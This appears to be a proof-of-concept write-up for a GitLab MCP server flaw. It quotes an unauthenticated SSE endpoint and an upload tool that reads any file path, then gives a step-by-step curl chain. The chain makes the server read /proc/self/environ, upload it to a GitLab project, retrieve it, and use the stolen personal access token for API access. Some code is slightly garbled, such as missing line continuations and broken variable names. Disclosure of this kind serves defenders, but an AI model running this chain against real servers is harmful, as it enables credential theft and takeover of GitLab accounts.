// src/index.ts:7354 — no auth check
app.get("/sse", async ( : Request, res: Response) => {
  const serverInstance = createServer();
  const transport = new SSEServerTransport("/messages", res);
  await serverInstance.connect(transport);
});

async function markdownUpload(projectId: string, filePath: string) {
  if (!fs.existsSync(filePath)) {
    throw new Error(`File not found: ${filePath}`);
  }
  const fileBuffer = fs.readFileSync(filePath); // Arbitrary file read — no path validation
  // ... uploads to GitLab project via POST /projects/:id/uploads
}

# 1. Connect to the unauthenticated SSE endpoint and capture the session ID
SESSION ID=$(curl -s -N http://<HOST>:3002/sse | head -1 | grep -oP 'sessionId=K[^&s]+')

# 2. (Optional) Enumerate accessible projects to find a writable project ID
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION ID" 
 -H "Content-Type: application/json" 
 -d '{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
   "name": "list projects",
   "arguments": {"owned": true}
  }
 }'

# 3. Read /proc/self/environ (contains GITLAB PERSONAL ACCESS TOKEN in plaintext)
#  and upload it to a GitLab project
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION ID" 
 -H "Content-Type: application/json" 
 -d '{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tools/call",
  "params": {
   "name": "upload markdown",
   "arguments": {
    "project id": "<WRITABLE PROJECT ID>",
    "file path": "/proc/self/environ"
   }
  }
 }'

# 4. The response contains a GitLab upload URL like:
#  {"markdown": "![environ](/uploads/abc123def456/environ)", "url": "/uploads/abc123def456/environ"}
#
# 5. Retrieve the uploaded file from GitLab:
curl "https://gitlab.example.com/<namespace>/<project>/uploads/abc123def456/environ"

# 6. The file contains NUL-separated environment variables including:
#  GITLAB PERSONAL ACCESS TOKEN=glpat-xxxxxxxxxxxxxxxxxxxx
#
# 7. Use the stolen PAT for full GitLab API access:
curl -H "Private-Token: glpat-xxxxxxxxxxxxxxxxxxxx" "https://gitlab.example.com/api/v4/user"